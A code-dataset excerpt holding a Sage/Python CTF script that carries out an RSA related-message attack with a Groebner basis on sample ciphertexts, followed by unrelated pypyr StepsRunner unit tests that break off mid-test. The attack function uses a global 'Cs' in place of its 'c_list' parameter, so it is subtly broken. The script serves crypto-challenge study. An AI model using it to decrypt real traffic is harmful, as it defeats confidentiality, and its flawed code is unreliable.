build/lib/xenny/ctf/crypto/modern/asymmetric/rsa/copper_smith/related_message_attack.py
|
X3NNY/xenny
|
c55238f82f448ec08e4006f9037064c5c28524fd
|
[
"MIT"
] | 3
|
2022-01-26T09:14:32.000Z
|
2022-02-06T11:01:55.000Z
|
build/lib/xenny/ctf/crypto/modern/asymmetric/rsa/copper_smith/related_message_attack.py
|
X3NNY/xenny
|
c55238f82f448ec08e4006f9037064c5c28524fd
|
[
"MIT"
] | 1
|
2022-02-06T11:02:06.000Z
|
2022-02-06T11:02:06.000Z
|
# -*- coding: utf-8 -*-
"""
-------------------------------------------------
File Name : related_message_attack
Description :
Author : x3nny
date : 2021/7/15
-------------------------------------------------
Change Activity:
2021/7/15: Init
-------------------------------------------------
"""
__author__ = 'x3nny'
from sage.all_cmdline import *
from Crypto.Util.number import long_to_bytes
# N = 16084923760264169099484353317952979348361855860935256157402027983349457021767614332173154044206967015252105109115289920685657394517879177103414348487477378025259589760996270909325371731433876289897874303733424115117776042592359041482059737708721396118254756778152435821692154824236881182156000806958403005506732891823555324800528934757672719379501318525189471726279397236710401497352477683714139039769105043411654493442696289499967521222951945823233371845110807469944602345293068346574630273539870116158817556523565199093874587097230314166365220290730937380983228599414137341498205967870181640370981402627360812251649
# Cs = [10607235400098586699994392584841806592000660816191315008947917773605476365884572056544621466807636237415893192966935651590312237598366247520986667580174438232591692369894702423377081613821241343307094343575042030793564118302488401888197517625333923710172738913771484628557310164974384462856047065486913046647133386246976457961265115349103039946802386897315176633274295410371986422039106745216230401123542863714301114753239888820442112538285194875243192862692290859625788686421276234445677411280606266052059579743874849594812733193363406594409214632722438592376518310171297234081555028727538951934761726878443311071990, 2665348075952836665455323350891842781938471372943896177948046901127648217780657532963063228780230203325378931053293617434754585479452556620021360669764370971665619743473463613391689402725053682169256850873752706252379747752552015341379702582040497607180172854652311649467878714425698676142212588380080361100526614423533767196749274741380258842904968147508033091819979042560336703564128279527380969385330845759998657540777339113519036552454829323666242269607225156846084705957131127720351868483375138773025602253783595007177712673092409157674720974653789039702431795168654387038080256838321255342848782705785524911705, 4881225713895414151830685259288740981424662400248897086365166643853409947818654509692299250960938511400178276416929668757746679501254041354795468626916196040017280791985239849062273782179873724736552198083211250561192059448730545500442981534768431023858984817288359193663144417753847196868565476919041282010484259630583394963580424358743754334956833598351424515229883148081492471874232555456362089023976929766530371320876651940855297249474438564801349160584279330339012464716197806221216765180154233949297999618011342678854874769762792918534509941727751433687189532019000334342211838299512315478903418642056097679717, 12534425973458061280573013378054836248888335198966169076118474130362704619767247747943108676623695140384169222126709673116428645230760767457471129655666350250668322899568073246541508846438634287249068036901665547893655280767196856844375628177381351311387888843222307448227990714678010579304867547658489581752103225573979257011139236972130825730306713287107974773306076630024338081124142200612113688850435053038506912906079973403207309246156198371852177700671999937121772761984895354214794816482109585409321157303512805923676416467315573673701738450569247679912197730245013539724493780184952584813891739837153776754362]
# s = 280513550110197745829890567436265496990
# e = 17
def attack(n, c_list, s, e):
l = len(c_list)
PR = PolynomialRing(Zmod(n), 'x', l)
x = PR.gens()
f1 = (65537*x[0] - 66666*x[1] + 12345*x[2] - x[3])
f2 = x[0] + x[1] + x[2] - s
Fs = [f1, f2]
Fs.extend([(x[i]**e - Cs[i]) for i in range(l)])
I = Ideal(Fs)
B = I.groebner_basis()
m = b''
print(B)
for b in B[:-1][::-1]:
assert b.degree() == 1
mi = ZZ(-b(0, 0, 0, 0))
m += long_to_bytes(mi)
print(m)
| 106.947368
| 2,481
| 0.865157
| 137
| 4,064
| 25.562044
| 0.547445
| 0.001713
| 0.003998
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.831108
| 0.060285
| 4,064
| 38
| 2,482
| 106.947368
| 0.085886
| 0.860482
| 0
| 0
| 0
| 0
| 0.010791
| 0
| 0
| 1
| 0
| 0
| 0.05
| 1
| 0.05
| false
| 0
| 0.1
| 0
| 0.15
| 0.1
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7c4bec49ae1e31bcdf39bc1658741623ffd367be
| 55,580
|
py
|
Python
|
tests/unit/pypyr/stepsrunner_test.py
|
mofm/pypyr
|
f417f69ba9a607d8a93019854105cfbc4dc9c36d
|
[
"Apache-2.0"
] | 31
|
2017-03-24T11:27:34.000Z
|
2020-05-27T20:06:28.000Z
|
tests/unit/pypyr/stepsrunner_test.py
|
mofm/pypyr
|
f417f69ba9a607d8a93019854105cfbc4dc9c36d
|
[
"Apache-2.0"
] | 89
|
2017-04-12T09:50:32.000Z
|
2020-08-13T13:18:36.000Z
|
tests/unit/pypyr/stepsrunner_test.py
|
mofm/pypyr
|
f417f69ba9a607d8a93019854105cfbc4dc9c36d
|
[
"Apache-2.0"
] | 6
|
2017-06-04T14:19:59.000Z
|
2020-02-10T13:16:40.000Z
|
"""stepsrunner.py unit tests."""
import logging
import pytest
from unittest.mock import call, patch
from pypyr.context import Context
from pypyr.dsl import Step
from pypyr.errors import (Call,
ContextError,
Jump,
Stop,
StopPipeline,
StopStepGroup)
from pypyr.pipeline import Pipeline
from pypyr.stepsrunner import StepsRunner
from tests.common.utils import DeepCopyMagicMock, patch_logger
# region test context
def arb_step_mock(context):
"""No real reason, other than to mock the existence of a run_step."""
return 'from arb step mock'
def get_test_context():
"""Return a pypyr context for testing."""
return Context({
'key1': 'value1',
'key2': 'value2',
'key3': 'value3',
'key4': [
{'k4lk1': 'value4',
'k4lk2': 'value5'},
{'k4lk1': 'value6',
'k4lk2': 'value7'}
],
'key5': False,
'key6': True,
'key7': 77
})
def get_test_pipeline():
"""Return an arbitrary pipeline definition."""
return {
'sg1': [
'step1',
'step2',
{'step3key1': 'values3k1', 'step3key2': 'values3k2'},
'step4'
],
'sg2': False,
'sg3': 77,
'sg4': None
}
def get_valid_test_pipeline():
"""Return an arbitrary pipeline definition."""
return {
'sg1': [
'step1',
'step2',
{'name': 'step3key1',
'in':
{'in3k1_1': 'v3k1', 'in3k1_2': 'v3k2'}},
'step4'
],
'sg2': False,
'sg3': 77,
'sg4': None
}
def get_valid_steps_pipeline():
"""Pipeline definition where steps point to actual test step."""
return {
'sg1': [
'tests.arbpack.arbincrementstep',
'tests.arbpack.arbincrementstep'],
'sg2': [
'tests.arbpack.arbincrementstep',
],
'sg3': None
}
# endregion test context
# region init
def test_stepsrunner_init():
"""The StepsRunner initializes."""
s = StepsRunner(pipeline_body=3, context=4)
assert s.pipeline_body == 3
assert s.context == 4
# endregion init
# region get_pipeline_steps
def test_get_pipeline_steps_pass():
"""Return named step group from pipeline."""
with patch_logger('pypyr.stepsrunner', logging.DEBUG) as mock_logger_debug:
steps = StepsRunner(get_test_pipeline(), {}).get_pipeline_steps('sg1')
assert len(steps) == 4
assert steps[0] == 'step1'
assert steps[1] == 'step2'
assert steps[2] == {'step3key1': 'values3k1', 'step3key2': 'values3k2'}
assert steps[3] == 'step4'
mock_logger_debug.assert_any_call("4 steps found under sg1 in "
"pipeline definition.")
def test_get_pipeline_steps_not_found():
"""Can't find step group in pipeline."""
with patch_logger('pypyr.stepsrunner', logging.DEBUG) as mock_logger_debug:
steps = StepsRunner(get_test_pipeline(), {}).get_pipeline_steps('arb')
assert steps is None
mock_logger_debug.assert_any_call(
"pipeline doesn't have a arb collection. Add a arb: sequence to the "
"yaml if you want arb actually to do something.")
def test_get_pipeline_steps_none():
"""Find step group in pipeline but it has no steps."""
with patch_logger(
'pypyr.stepsrunner', logging.WARNING) as mock_logger_warn:
steps = StepsRunner(get_test_pipeline(), {}).get_pipeline_steps('sg4')
assert steps is None
mock_logger_warn.assert_called_once_with(
"sg4: sequence has no elements. So it won't do anything.")
# endregion get_pipeline_steps
# region run_failure_step_group
def test_run_failure_step_group_pass():
"""Failure step group runner passes on_failure to step group runner."""
with patch.object(StepsRunner,
'run_step_group') as mock_run_group:
StepsRunner({'pipe': 'val'},
Context()).run_failure_step_group('on_failure')
mock_run_group.assert_called_once_with('on_failure', raise_stop=True)
def test_run_failure_step_group_swallows():
"""Failure step group runner swallows errors."""
with patch.object(StepsRunner,
'run_step_group') as mock_run_group:
with patch_logger(
'pypyr.stepsrunner', logging.ERROR) as mock_logger_error:
mock_run_group.side_effect = ContextError('arb error')
runner = StepsRunner({'pipe': 'val'}, Context())
runner.run_failure_step_group('arb_failure')
mock_logger_error.assert_any_call(
"Failure handler also failed. Swallowing.")
assert runner.pipeline_body == {'pipe': 'val'}
assert runner.context == Context()
mock_run_group.assert_called_once_with('arb_failure', raise_stop=True)
def test_run_failure_step_group_stop():
"""Failure step group runner does Stop."""
with patch.object(StepsRunner,
'run_step_group') as mock_run_group:
with patch_logger(
'pypyr.stepsrunner', logging.DEBUG) as mock_logger_debug:
mock_run_group.side_effect = StopStepGroup
runner = StepsRunner({'pipe': 'val'}, Context())
with pytest.raises(StopStepGroup):
runner.run_failure_step_group('arb_failure')
mock_logger_debug.assert_any_call(
"Stop instruction: done with failure handler arb_failure.")
assert runner.pipeline_body == {'pipe': 'val'}
assert runner.context == Context()
mock_run_group.assert_called_once_with('arb_failure', raise_stop=True)
# endregion run_failure_step_group
# region run_pipeline_steps
def test_run_pipeline_steps_none():
"""If steps None does nothing."""
with patch_logger('pypyr.stepsrunner', logging.DEBUG) as mock_logger_debug:
StepsRunner(None, Context({'k1': 'v1'})).run_pipeline_steps(None)
mock_logger_debug.assert_any_call("No steps found to execute.")
@patch('pypyr.moduleloader.get_module')
@patch.object(Step, 'invoke_step')
def test_run_pipeline_steps_complex(mock_invoke_step, mock_module):
"""Complex step run with no in args."""
with patch_logger('pypyr.dsl', logging.DEBUG) as mock_logger_debug:
StepsRunner(None, Context({'k1': 'v1'})).run_pipeline_steps(
[{'name': 'step1'}])
mock_logger_debug.assert_any_call("step1 is complex.")
mock_invoke_step.assert_called_once_with(context={'k1': 'v1'})
@patch('pypyr.moduleloader.get_module')
@patch.object(Step, 'invoke_step')
@patch('unittest.mock.MagicMock', new=DeepCopyMagicMock)
def test_run_pipeline_steps_complex_with_in(mock_invoke_step, mock_module):
"""Complex step run with in args. In args added to context for run_step."""
steps = [{
'name': 'step1',
'in': {'newkey1': 'v1',
'newkey2': 'v2',
'key3': 'updated in',
'key4': [0, 1, 2, 3],
'key5': True,
'key6': False,
'key7': 88}
}]
context = Context({
'key1': 'value1',
'key2': 'value2',
'key3': 'value3',
'key4': [
{'k4lk1': 'value4',
'k4lk2': 'value5'},
{'k4lk1': 'value6',
'k4lk2': 'value7'}
],
'key5': False,
'key6': True,
'key7': 77,
'key8': None,
'key9': 'arb'
})
with patch_logger('pypyr.stepsrunner', logging.DEBUG) as mock_logger_debug:
StepsRunner(None, context).run_pipeline_steps(steps)
mock_logger_debug.assert_any_call("executed 1 steps")
assert mock_invoke_step.call_count == 1
# step invoked with the context updated from 'in'
assert mock_invoke_step.call_args_list[0] == call(
context={'key1': 'value1',
'key2': 'value2',
'key3': 'updated in',
'key4': [0, 1, 2, 3],
'key5': True,
'key6': False,
'key7': 88,
'key8': None,
'key9': 'arb',
'newkey1': 'v1',
'newkey2': 'v2'})
# all items keys 'in' purged from context.
assert context == {'key1': 'value1',
'key2': 'value2',
'key8': None,
'key9': 'arb'}
@patch('pypyr.moduleloader.get_module')
@patch.object(Step, 'run_step')
def test_run_pipeline_steps_simple(mock_run_step, mock_module):
"""Simple step run."""
with patch_logger('pypyr.dsl', logging.DEBUG) as mock_logger_debug:
StepsRunner(None, {'k1': 'v1'}).run_pipeline_steps(['step1'])
mock_logger_debug.assert_any_call('step1 is a simple string.')
mock_run_step.assert_called_once_with({'k1': 'v1'})
# region run_pipeline_steps: run
@patch('pypyr.moduleloader.get_module')
@patch.object(Step, 'invoke_step')
def test_run_pipeline_steps_mix_run_and_not_run(mock_invoke_step, mock_module):
"""Complex steps, some run some don't."""
# Step 1 & 3 runs, 2 should not.
steps = [{
'name': 'step1',
'run': True
},
{
'name': 'step2',
'run': False
},
{
'name': 'step3',
},
]
context = get_test_context()
original_len = len(context)
with patch_logger('pypyr.stepsrunner', logging.DEBUG) as mock_logger_debug:
with patch_logger('pypyr.dsl', logging.INFO) as mock_logger_info:
StepsRunner(None, context).run_pipeline_steps(steps)
mock_logger_debug.assert_any_call("executed 3 steps")
mock_logger_info.assert_any_call(
"step2 not running because run is False.")
assert mock_invoke_step.call_count == 2
assert mock_invoke_step.mock_calls == [call(context={
'key1': 'value1',
'key2': 'value2',
'key3': 'value3', 'key4':
[
{
'k4lk1': 'value4',
'k4lk2': 'value5'},
{
'k4lk1': 'value6',
'k4lk2': 'value7'
}],
'key5': False,
'key6': True,
'key7': 77}),
call(context={
'key1': 'value1',
'key2': 'value2',
'key3': 'value3', 'key4':
[
{
'k4lk1': 'value4',
'k4lk2': 'value5'},
{
'k4lk1': 'value6',
'k4lk2': 'value7'
}],
'key5': False,
'key6': True,
'key7': 77})]
# validate all the in params ended up in context as intended
assert len(context) == original_len
@patch('pypyr.moduleloader.get_module')
@patch.object(Step, 'invoke_step')
def test_run_pipeline_steps_complex_with_multistep_none_run(mock_invoke_step,
mock_module):
"""Multiple steps and none run."""
# None of these should run - various shades of python false
steps = [{
'name': 'step1',
'run': False
},
{
'name': 'step2',
'run': 0
},
{
'name': 'step3',
'run': None,
},
]
context = get_test_context()
original_len = len(context)
with patch_logger('pypyr.dsl', logging.INFO) as mock_logger_info:
StepsRunner(None, context).run_pipeline_steps(steps)
mock_logger_info.assert_any_call(
"step1 not running because run is False.")
mock_logger_info.assert_any_call(
"step2 not running because run is False.")
mock_logger_info.assert_any_call(
"step3 not running because run is False.")
mock_invoke_step.assert_not_called()
# validate all the in params ended up in context as intended
assert len(context) == original_len
# endregion run_pipeline_steps: run
# region run_pipeline_steps: skip
@patch('pypyr.moduleloader.get_module')
@patch.object(Step, 'invoke_step')
def test_run_pipeline_steps_mix_skip_and_not_skip(mock_invoke_step,
mock_module):
"""Complex steps, some run some don't."""
# Step 1 & 3 runs, 2 should not.
steps = [{
'name': 'step1',
'skip': False
},
{
'name': 'step2',
'skip': True
},
{
'name': 'step3',
},
]
context = get_test_context()
original_len = len(context)
with patch_logger('pypyr.stepsrunner', logging.DEBUG) as mock_logger_debug:
with patch_logger('pypyr.dsl', logging.INFO) as mock_logger_info:
StepsRunner(None, context).run_pipeline_steps(steps)
mock_logger_debug.assert_any_call("executed 3 steps")
mock_logger_info.assert_any_call(
"step2 not running because skip is True.")
assert mock_invoke_step.call_count == 2
assert mock_invoke_step.mock_calls == [call(context={
'key1': 'value1',
'key2': 'value2',
'key3': 'value3', 'key4':
[
{
'k4lk1': 'value4',
'k4lk2': 'value5'},
{
'k4lk1': 'value6',
'k4lk2': 'value7'
}],
'key5': False,
'key6': True,
'key7': 77}),
call(context={
'key1': 'value1',
'key2': 'value2',
'key3': 'value3', 'key4':
[
{
'k4lk1': 'value4',
'k4lk2': 'value5'},
{
'k4lk1': 'value6',
'k4lk2': 'value7'
}],
'key5': False,
'key6': True,
'key7': 77})]
# validate all the in params ended up in context as intended
assert len(context) == original_len
@patch('pypyr.moduleloader.get_module')
@patch.object(Step, 'invoke_step')
def test_run_pipeline_steps_complex_with_multistep_all_skip(mock_invoke_step,
mock_module):
"""Multiple steps and none run."""
# None of these should run - various shades of python true
steps = [{
'name': 'step1',
'skip': [1, 2, 3]
},
{
'name': 'step2',
'skip': 1
},
{
'name': 'step3',
'skip': True,
},
{
'name': 'step4',
# run evals before skip
'run': False,
'skip': False
},
]
context = get_test_context()
original_len = len(context)
with patch_logger('pypyr.dsl', logging.INFO) as mock_logger_info:
StepsRunner(None, context).run_pipeline_steps(steps)
mock_logger_info.assert_any_call(
"step1 not running because skip is True.")
mock_logger_info.assert_any_call(
"step2 not running because skip is True.")
mock_logger_info.assert_any_call(
"step3 not running because skip is True.")
mock_logger_info.assert_any_call(
"step4 not running because run is False.")
mock_invoke_step.assert_not_called()
# validate all the in params ended up in context as intended
assert len(context) == original_len
# endregion run_pipeline_steps: skip
# region run_pipeline_steps: swallow
@patch('pypyr.moduleloader.get_module')
@patch.object(Step, 'invoke_step')
@patch('unittest.mock.MagicMock', new=DeepCopyMagicMock)
def test_run_pipeline_steps_swallow_sequence(mock_invoke_step, mock_module):
"""Complex steps, some run some don't, some swallow, some don't."""
step4_run_error_swallow = {
'col': None,
'customError': {},
'description': 'arb error here 4',
'exception': ValueError('arb error here 4'),
'line': None,
'name': 'ValueError',
'step': 'step4',
'swallowed': True,
}
step6_run_error_raise = {
'col': None,
'customError': {},
'description': 'arb error here 6',
'exception': ValueError('arb error here 6'),
'line': None,
'name': 'ValueError',
'step': 'step6',
'swallowed': False,
}
# 1 & 2 don't run,
# 3 runs, no error
# 4 runs, error and swallows
# 5 skips
# 6 runs, error and raises
# 7 doesn't run because execution stopped at 6 because of error
mock_invoke_step.side_effect = [
None, # 3
step4_run_error_swallow['exception'], # 4
step6_run_error_raise['exception'], # 6
]
steps = [
{
'name': 'step1',
'run': False
},
{
'name': 'step2',
'skip': True
},
{
'name': 'step3',
},
{
'name': 'step4',
'run': True,
'skip': False,
'swallow': 1
},
{
'name': 'step5',
'run': True,
'skip': True,
'swallow': True
},
'step6',
'step7',
]
context = get_test_context()
original_len = len(context)
with patch_logger('pypyr.dsl', logging.DEBUG) as mock_logger_debug:
with patch_logger('pypyr.dsl', logging.INFO) as mock_logger_info:
with patch_logger('pypyr.dsl', logging.ERROR) as mock_logger_error:
with pytest.raises(ValueError) as err_info:
StepsRunner(None, context).run_pipeline_steps(steps)
assert str(err_info.value) == "arb error here 6"
mock_logger_debug.assert_has_calls([
call('step1 is complex.'),
call('step2 is complex.'),
call('step3 is complex.'),
call('step4 is complex.'),
call('step5 is complex.'),
call('step6 is a simple string.')],
any_order=True
)
assert mock_logger_info.call_args_list == [
call('step1 not running because run is False.'),
call('step2 not running because skip is True.'),
call('step5 not running because skip is True.')]
assert mock_invoke_step.call_count == 3
assert mock_logger_error.call_args_list == [
call(
"step4 Ignoring error because swallow is True "
"for this step.\n"
"ValueError: arb error here 4"
),
call("Error while running step step6"),
]
assert mock_invoke_step.call_count == 3
# step3
assert mock_invoke_step.call_args_list[0] == call(
context=get_test_context()
)
# step4
assert mock_invoke_step.call_args_list[1] == call(
context=get_test_context()
)
step6_context = mock_invoke_step.call_args_list[2][1]["context"]
assert get_test_context().items() <= step6_context.items()
assert len(step6_context['runErrors']) == 1
# validate all the in params ended up in context as intended,
# plus runErrors
assert len(context) == original_len + 1
assert len(context['runErrors']) == 2
assert step4_run_error_swallow == context['runErrors'][0]
assert step6_run_error_raise == context['runErrors'][1]
# endregion run_pipeline_steps: swallow
# endregion run_pipeline_steps
# region run_step_group
@patch.object(StepsRunner, 'run_pipeline_steps')
def test_run_step_group_pass(mock_run_steps):
"""run_step_group gets and runs steps for group."""
StepsRunner(get_valid_test_pipeline(), Context()).run_step_group(
step_group_name='sg1')
mock_run_steps.assert_called_once_with(steps=[
'step1',
'step2',
{'name': 'step3key1',
'in':
{'in3k1_1': 'v3k1', 'in3k1_2': 'v3k2'}},
'step4'
])
@patch.object(StepsRunner, 'run_pipeline_steps')
def test_run_step_group_no_raise(mock_run_steps):
"""run_step_group with raise_stop False."""
mock_run_steps.side_effect = StopStepGroup()
StepsRunner(get_valid_test_pipeline(),
Context()).run_step_group(step_group_name='sg1',
raise_stop=False)
mock_run_steps.assert_called_once_with(steps=[
'step1',
'step2',
{'name': 'step3key1',
'in':
{'in3k1_1': 'v3k1', 'in3k1_2': 'v3k2'}},
'step4'
])
@patch.object(StepsRunner, 'run_pipeline_steps')
def test_run_step_group_raise(mock_run_steps):
"""run_step_group with raise_stop True."""
mock_run_steps.side_effect = StopStepGroup()
with pytest.raises(StopStepGroup):
StepsRunner(get_valid_test_pipeline(),
Context()).run_step_group(step_group_name='sg1',
raise_stop=True)
mock_run_steps.assert_called_once_with(steps=[
'step1',
'step2',
{'name': 'step3key1',
'in':
{'in3k1_1': 'v3k1', 'in3k1_2': 'v3k2'}},
'step4'
])
# endregion run_step_group
# region run_step_groups
@patch.object(StepsRunner, 'run_step_group')
def test_run_step_groups_single(mock_run_step_group):
"""Single test group runs with success."""
StepsRunner(get_valid_test_pipeline(), Context()).run_step_groups(
groups=['sg1'],
success_group='arb success',
failure_group='arb fail')
assert mock_run_step_group.mock_calls == [call('sg1'),
call('arb success')]
@patch.object(StepsRunner, 'run_step_group')
def test_run_step_groups_single_no_success_handler(mock_run_step_group):
"""Single test group runs with no success handler."""
StepsRunner(get_valid_test_pipeline(), Context()).run_step_groups(
groups=['sg1'],
success_group=None,
failure_group='arb fail')
assert mock_run_step_group.mock_calls == [call('sg1')]
@patch.object(StepsRunner, 'run_step_group')
def test_run_step_groups_sequence(mock_run_step_group):
"""Sequence of test groups runs with success."""
StepsRunner(get_valid_test_pipeline(), Context()).run_step_groups(
groups=['sg3', 'sg1', 'sg2', 'sg4'],
success_group='arb success',
failure_group='arb fail')
assert mock_run_step_group.mock_calls == [call('sg3'),
call('sg1'),
call('sg2'),
call('sg4'),
call('arb success')]
@patch.object(StepsRunner, 'run_step_group')
def test_run_step_groups_sequence_with_fail(mock_run_step_group):
"""Sequence of test groups runs with failure."""
mock_run_step_group.side_effect = [None, None, ValueError('arb')]
with pytest.raises(ValueError) as err:
StepsRunner(get_valid_test_pipeline(), Context()).run_step_groups(
groups=['sg3', 'sg1', 'sg2', 'sg4'],
success_group='arb success',
failure_group='arb fail')
assert str(err.value) == 'arb'
assert mock_run_step_group.mock_calls == [call('sg3'),
call('sg1'),
call('sg2'),
call('arb fail', raise_stop=True)
]
@patch.object(StepsRunner, 'run_step_group')
def test_run_step_groups_sequence_with_failing_fail(mock_run_step_group):
"""Sequence of test groups runs with failure, failure handler fails."""
mock_run_step_group.side_effect = [None,
None,
ValueError('arb'),
KeyError('arb failure handler err')]
with pytest.raises(ValueError) as err:
StepsRunner(get_valid_test_pipeline(), Context()).run_step_groups(
groups=['sg3', 'sg1', 'sg2', 'sg4'],
success_group='arb success',
failure_group='arb fail')
# failure handler swallows arb KeyError
assert str(err.value) == 'arb'
assert mock_run_step_group.mock_calls == [call('sg3'),
call('sg1'),
call('sg2'),
call('arb fail', raise_stop=True)
]
@patch.object(StepsRunner, 'run_step_group')
def test_run_step_groups_sequence_with_failing_stop(
mock_run_step_group):
"""Groups run with failure, failure handler Stop."""
mock_run_step_group.side_effect = [None,
None,
ValueError('arb'),
Stop]
with pytest.raises(Stop):
StepsRunner(get_valid_test_pipeline(), Context()).run_step_groups(
groups=['sg3', 'sg1', 'sg2', 'sg4'],
success_group='arb success',
failure_group='arb fail')
# failure handler swallows arb KeyError
assert mock_run_step_group.mock_calls == [call('sg3'),
call('sg1'),
call('sg2'),
call('arb fail', raise_stop=True)
]
@patch.object(StepsRunner, 'run_step_group')
def test_run_step_groups_sequence_with_failing_stoppipeline(
mock_run_step_group):
"""Groups run with failure, failure handler StopPipeline."""
mock_run_step_group.side_effect = [None,
None,
ValueError('arb'),
StopPipeline]
with pytest.raises(StopPipeline):
StepsRunner(get_valid_test_pipeline(), Context()).run_step_groups(
groups=['sg3', 'sg1', 'sg2', 'sg4'],
success_group='arb success',
failure_group='arb fail')
# failure handler swallows arb KeyError
assert mock_run_step_group.mock_calls == [call('sg3'),
call('sg1'),
call('sg2'),
call('arb fail', raise_stop=True)
]
@patch.object(StepsRunner, 'run_step_group')
def test_run_step_groups_sequence_with_failing_stopstepgroup(
mock_run_step_group):
"""Test groups runs with failure, failure handler raises StopStepGroup."""
mock_run_step_group.side_effect = [None,
None,
ValueError('arb'),
StopStepGroup]
StepsRunner(get_valid_test_pipeline(), Context()).run_step_groups(
groups=['sg3', 'sg1', 'sg2', 'sg4'],
success_group='arb success',
failure_group='arb fail')
# failure handler swallows arb ValueError
assert mock_run_step_group.mock_calls == [call('sg3'),
call('sg1'),
call('sg2'),
call('arb fail', raise_stop=True)
]
@patch.object(StepsRunner, 'run_step_group')
def test_run_step_groups_sequence_with_fail_no_handler(mock_run_step_group):
"""Sequence of test groups runs with failure when no failure handler."""
mock_run_step_group.side_effect = [None, None, ValueError('arb')]
with pytest.raises(ValueError) as err:
StepsRunner(get_valid_test_pipeline(), Context()).run_step_groups(
groups=['sg3', 'sg1', 'sg2', 'sg4'],
success_group='arb success',
failure_group=None)
assert str(err.value) == 'arb'
assert mock_run_step_group.mock_calls == [call('sg3'),
call('sg1'),
call('sg2')]
def test_run_step_groups_sequence_with_mutate():
"""Sequence of test groups runs with success and mutates context."""
context = Context({'counter': 5})
StepsRunner(get_valid_steps_pipeline(), context).run_step_groups(
groups=['sg3', 'sg1', 'sg2', 'sg4'],
success_group='arb success',
failure_group='arb fail')
assert context['counter'] == 8
def test_run_step_groups_none_groups():
"""Raise error if groups None."""
with pytest.raises(ValueError) as err:
StepsRunner(get_valid_test_pipeline(), Context()).run_step_groups(
groups=None,
success_group='arb success',
failure_group='arb fail')
assert str(err.value) == (
'you must specify which step-groups you want to run. groups is None.')
# endregion run_step_groups
# region Jump
def get_jump_pipeline():
"""Test pipeline for jump."""
return {
'sg1': [
'sg1.step1',
'sg1.step2'
],
'sg2': [
'sg2.step1',
'sg2.step2'
],
'sg3': [
'sg3.step1',
'sg3.step2'
],
'sg4': [
'sg4.step1',
'sg4.step2'
],
'sg5': [
'sg5.step1'
],
'sg6': [
'sg6.step1',
'sg6.step2'
]
}
def nothing_step(context):
"""Do nothing."""
pass
def jump_step(groups, success=None, failure=None):
"""Jump step mock."""
def run_step(context):
raise Jump(groups, success, failure, 'jumparb')
return run_step
def call_step(groups,
success=None,
failure=None,
original_config=('call', 'arb')):
"""Call step mock."""
def run_step(context):
raise Call(groups, success, failure, original_config)
return run_step
@patch('pypyr.cache.stepcache.step_cache.get_step')
def test_jump_with_success_handler(mock_step_cache):
"""Jump between different step groups with success handler."""
# Sequence: sg2 - sg2.1 (JUMP)
# sg1 - sg1.1, sg 1.2 (JUMP)
# sg4 - sg4.1 (JUMP)
# sg3 - sg3.1, sg 3.2
# sg5 - sg5.1 (on_success)
mock_step_cache.side_effect = [
jump_step(['sg1']), # 2.1
nothing_step, # 1.1
jump_step(['sg4']), # 1.2
jump_step(['sg3']), # 4.1
nothing_step, # 3.1
nothing_step, # 3.2
nothing_step, # 5.1
]
context = Context()
StepsRunner(get_jump_pipeline(), context).run_step_groups(
groups=['sg2'],
success_group='sg5',
failure_group=None)
assert mock_step_cache.mock_calls == [call('sg2.step1'),
call('sg1.step1'),
call('sg1.step2'),
call('sg4.step1'),
call('sg3.step1'),
call('sg3.step2'),
call('sg5.step1')]
@patch('pypyr.cache.stepcache.step_cache.get_step')
def test_jump_with_failure_handler(mock_step_cache):
"""Jump between different step groups with failure handler."""
# Sequence: sg2 - sg2.1 (JUMP)
# sg3 - sg3.1 (ERROR)
# sg4 - sg4.1, sg4.2 (failure handler)
def err_step(context):
raise ValueError('3.1')
mock_step_cache.side_effect = [
jump_step(['sg3']), # 2.1
err_step, # 3.1
nothing_step, # 4.1
nothing_step, # 4.2
]
context = Context()
with pytest.raises(ValueError) as err_info:
StepsRunner(get_jump_pipeline(), context).run_step_groups(
groups=['sg2', 'sg1'],
success_group='sg5',
failure_group='sg4')
assert str(err_info.value) == '3.1'
assert mock_step_cache.mock_calls == [call('sg2.step1'),
call('sg3.step1'),
call('sg4.step1'),
call('sg4.step2')]
@patch('pypyr.cache.stepcache.step_cache.get_step')
def test_jump_with_group_sequences_and_success_jump(mock_step_cache):
"""Jump between step groups with success handler and jump in success."""
# Sequence: sg2 - sg2.1, sg2.2
# sg1 - sg1.1, sg 1.2 (JUMP)
# sg4 - sg4.1, sg 4.2
# sg3 - sg3.1, sg 3.2
# sg6 - sg6.1 (JUMP) - on_success
# sg5 - sg5.1
mock_step_cache.side_effect = [
nothing_step, # 2.1
nothing_step, # 2.2
nothing_step, # 1.1
jump_step(['sg4', 'sg3']), # 1.2
nothing_step, # 4.1
nothing_step, # 4.2
nothing_step, # 3.1
nothing_step, # 3.2
jump_step(['sg5']), # 6.1
nothing_step, # 5.1
nothing_step, # 5.2
]
context = Context()
StepsRunner(get_jump_pipeline(), context).run_step_groups(
groups=['sg2', 'sg1'],
success_group='sg6',
failure_group=None)
assert mock_step_cache.mock_calls == [call('sg2.step1'),
call('sg2.step2'),
call('sg1.step1'),
call('sg1.step2'),
call('sg4.step1'),
call('sg4.step2'),
call('sg3.step1'),
call('sg3.step2'),
call('sg6.step1'),
call('sg5.step1')]
def get_while_pipeline():
"""Test pipeline for while."""
return {
'sg1': [
'sg1.step1',
'sg1.step2'
],
'sg2': [
{'name': 'sg2.step1',
'while': {
'max': 3}
},
'sg2.step2'
],
'sg3': [
'sg3.step1',
'sg3.step2'
],
'sg4': [
'sg4.step1',
'sg4.step2'
],
'sg5': [
'sg5.step1'
],
'sg6': [
'sg6.step1',
'sg6.step2'
]
}
@patch('pypyr.cache.stepcache.step_cache.get_step')
def test_jump_with_while(mock_step_cache):
"""Jump between different step groups in a while."""
# Sequence: sg2 - sg2.1 x2 (JUMP)
# sg1 - sg1.1, sg 1.2 (JUMP)
# sg4 - sg4.1 (JUMP)
# sg3 - sg3.1, sg 3.2
# sg5 - sg5.1 (on_success)
mock21 = DeepCopyMagicMock()
def step21(context):
mock21(context)
if context['whileCounter'] == 2:
jump_step(['sg1'])(context)
mock_step_cache.side_effect = [
step21, # 2.1
nothing_step, # 1.1
jump_step(['sg4']), # 1.2
jump_step(['sg3']), # 4.1
nothing_step, # 3.1
nothing_step, # 3.2
